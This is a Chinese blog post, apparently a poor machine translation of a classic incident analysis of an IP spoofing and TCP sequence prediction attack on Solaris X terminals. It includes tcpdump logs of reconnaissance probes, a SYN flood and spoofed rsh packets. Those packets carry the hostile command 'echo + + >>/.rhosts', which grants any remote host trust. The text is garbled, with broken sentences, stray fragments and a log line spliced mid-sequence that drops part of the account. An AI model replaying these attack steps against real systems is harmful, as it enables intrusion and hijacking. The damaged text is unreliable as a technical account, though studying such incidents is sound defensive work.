黑客攻击:黑客技术介绍的利用ip序列攻击

on 2009-9-12 in 安全 | 0 Comment
提到很多有关 IP地址欺骗( IP　spoofing )和hijacking攻击这儿是我些技术资料希望它能帮助你明白这类攻击是如何回事 这是两种截然区别攻击手段IP 源地址欺骗和 TCP 序列序列预报是为了获得那些使用　X terminal作为无盘工作站使用权当root 权限被获得时个已知到其他系统连接就会被“可加载内核 STREAMS 模块”或　hijacked 这次攻击中数据记录都是由 tcpdump 来完成兴趣很明确(也很短!)有些Ri期被遗漏了我特别推荐 Steve Bellovin 有关“IP　spoofing”文章他对 TCP 握手描述非常详细也提出了怎样阻止这种攻击手段 我设置是这样:
系　　　统 = 运行Solaris 1 提供 "X terminal"服务 SPARC 工作站 x-terminal = 运行Solaris 1 提供 "X terminal"服务 目　　　标 = 攻击显然目标

IP spoofing 攻击是从 14:09:32 PST _disibledevent=>数据包记录):
14:09:32 toad.com# finger -l @target 14:10:21 toad.com# finger -l @server 14:10:50 toad.com# finger -l root@server 14:11:07 toad.com# finger -l @x-terminal 14:11:38 toad.com# showmount -e x-terminal 14:11:49 toad.com# rpcinfo -p x-terminal 14:12:05 toad.com# finger -l root@x-terminal

这样探测是为了查看在这些系统的中有什么信赖关系借此可以发动 IP spoofing 攻击从 showmount 和 rpcinfo 源端口可以看出是toad.com root 6分钟的后 我们收到了大量 TCP SYN 请求(TCP 连接请求)是来自 130.92.6.97 到服务器上 513 (login) 端口这些 SYN 请求目就是堵塞513端口连接队列使其成为半开连接状态因此无法接受其它新连接请求详细些就是它是不会对那些SYN-ACK 请求发送TCP RST回应 513 端口是个“特权”(< IPPORT_RESERVED)端口server.login 可以被假定源地址安全使用是在UNIX上"r-服务" (rsh,rlogin)进行地址spoofing攻击130.92.6.97 明显是没有反应地址(对收到数据包):
14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

注意每个x-terminal送出 SYN-ACK 数据包通过 x-terminal 有个数列并且都比前个来大 我们看到个伪造 SYN (连接请求) 是从 server.login 送到 x-terminal.shell 设想服务器如果被x-terminal所信任那么x-terminal 就可以利用了(甚至些伪装服务器) 请求了 x-terminal 会对服务器回复个 SYN-ACK只有 ACK 过才可以打开连接服务器会丢失送到 server.login 数据包所以ACK 也要伪造 通常情况下 SYN-ACK 数列需要用来生成有效 ACK虽然这样攻击者可以预知序列包含在 SYN-ACK 中基于已知x-terminal tcp 序列生成规律下面还可以用 ACK 来对付那些没有看见 SYN-ACK:
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

现在被 spoofing 机器现在只有种思路方法连接到x-terminal.shell服务器就是 server.login它可以维护连接 connection 和 send 请求可以通过完全ACK 掉应该像下面这样:
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

相当于:
14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

从第个 spoofed 数据包共用了:< 16 秒时间欺骗；连接已经被终止了:
14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

我们现在看到 RST 释放了在 server.login 上队列中那些半连接和空连接:
14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login 又可以接受连接请求了 通过IP地址spoofing 成果获得root权限后个叫做"tap-201"内核模块被x-terminal 编译和安装:
x-terminal% modstat Id Type Loadaddr Size B-major C-major Sysnum Mod Name 1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha x-terminal% ls -l /dev/tap crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

这是个出现内核 STREAMS 模块可以防到已有 STREAMS 堆栈和控制 tty device 上面用户



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